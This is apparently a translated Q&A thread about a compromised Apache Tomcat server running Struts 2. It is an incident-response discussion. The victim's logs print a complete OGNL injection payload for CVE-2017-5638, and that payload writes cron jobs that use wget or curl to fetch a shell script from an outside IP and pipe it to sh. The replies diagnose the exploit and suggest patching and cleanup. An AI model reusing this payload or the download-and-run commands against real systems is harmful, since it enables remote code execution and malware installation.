Атака сценария оболочки на сервер Apache через cron неизвестного происхождения


8

Во время запуска проекта войны на сервере Apache Tomcat я обнаружил, что сервер был взломан.

Пока бежит война, неизвестный cronбежит вот так

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

Загруженный logo.jpgимеет скрипт оболочки, который загружает вредоносное ПО.

Я нашел похожую проблему на этом сайте ниже

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

а также

/security/160068/kworker34-malware-on-linux

Я не могу найти источник этого планировщика cron во всем моем коде.

Что я хочу знать, что кто-нибудь сталкивался с этой проблемой? и как мне найти источник планировщика в коде.

Замечания:

Я работаю над веб-проектом JAVA (Struts 2) + jsp + javascript + jquery.

Этот планировщик работает каждый раз, когда я запускаю свой tomcat с файлом war проекта, но я не могу найти никакого планировщика для планировщика в моем коде.

Я нашел следующую строку в моих файлах журнала

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
                content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult 

Изменили ли вы вход по умолчанию в Tomcat и отключили хост-менеджер?

Вы имеете в виду источник этих двух записей в crontab (которые являются заданиями cron) или планировщик cron (также когда-то демон cron)? Вы порождаете процессы или сценарии оболочки из вашего Java-приложения (например Runtime.getRuntime().exec("something"))? У вас есть ссылка на ваш проект?
Ян Зеребецкий

Когда вы запускаете tomcat без зараженного Java-приложения, включен ли cron?

Как вы начинаете кот? Как вы разворачиваете приложение? (через графический интерфейс, скрипты или просто копирование .war-файла в веб-приложениях?

Я добавил журналы своего приложения, пожалуйста, посмотрите. Не стесняйтесь, дайте мне знать, что вы можете думать об этой проблеме.

Ответы:


4

После того, как OP добавил журналы, стало ясно, что проблема в эксплойте «Удаленное выполнение кода» для Struts 2 ( CVE-2017-5638 ).

Некоторые дополнительные ссылки:

  1. Новый эксплойт Struts2 Remote Code Execution, попавший в дикую природу .
  2. CVE-2017-5638 - Apache Struts2 S2-045 .

Решение состоит в том, чтобы обновить ваши Struts до версии 2.3.32 или 2.5.10.1.


Спасибо за ваш ответ, но я уже проверил свой код для таких ключевых слов, как 'logo.jpg' и '91 .230.47.40 ', которых там нет. Я добавил журналы своего приложения, пожалуйста, посмотрите. Не стесняйтесь, дайте мне знать, что вы можете думать об этой проблеме.

2

Я сталкивался с подобными проблемами раньше, когда был сисадмином. Я думаю, что вы должны различать, если это ваш сервер Tomcat или Java-приложение.

Когда вы запускаете tomcat без «зараженного Java-приложения», включается ли cron? (Я имею в виду удаление вашего приложения из Tomcat и запуск его) Если это так, то у вас есть большая проблема, вам нужно будет проверить сценарии запуска и каждое приложение, развернутое на сервере .

В противном случае мы уверены, что ваше приложение является проблемой.

Если это так, перейдите по ссылке:

$CATALINA_BASE/webapps/your_app 

Проверьте целостность вашего приложения, есть ли дополнительные файлы, которые вы не можете распознать?

Теперь перейдите в каталог webapps вашей установки tomcat:

$CATALINA_BASE/webapps/

В этом каталоге выполните:

grep -R '91.230.47.40' *

Чтобы найти возможный файл / строку кода, который вызывает заражение, это может быть файл вашего приложения или новый.

У вас есть код в системе CSV?

Создайте файл war вне зараженного сервера из репозитория CSV и выполните:

md5sum your_app.war

Удалите ваше приложение с сервера Tomcat и повторно разверните его, убедитесь, что вы загружаете правильную войну через md5, а затем проверьте, вызывается ли crontab.

Если вы оставите отзыв об этом, я буду рад помочь.


1
Я уже проверил свой код на наличие ключевых слов, таких как «logo.jpg» и «91 .230.47.40», которых там нет. Однако проблема связана с приложением, а не с котом. Я добавил журналы своего приложения, пожалуйста, посмотрите. Не стесняйтесь, дайте мне знать, что вы можете думать об этой проблеме.

2

Нам просто нужно было отразить такую ​​атаку на сервере, она продолжала перезаписывать crontab для нашего пользователя tomcat, как описано выше. IP-адрес был идентичен. Grep всего каталога веб-приложений для IP-адреса не выявил виновника.

В нашем случае мы не используем Struts, но в веб-приложениях были приложения «host-manager» и «manager», и у нас был включен JMX / открыт порт. Кажется, перезапуск без таковых решил, так что я догадываюсь, что уязвимость может быть в одном из них. В частности, в 7.0.73 была исправлена ​​уязвимость JMX, которая могла быть нашим виновником ( https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73 ).

Другая мера предосторожности, которую мы сейчас предпринимаем, заключается в ограничении доступа к wget и chmod только для root (просто выполните chmod 770 для этих двоичных файлов).

Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.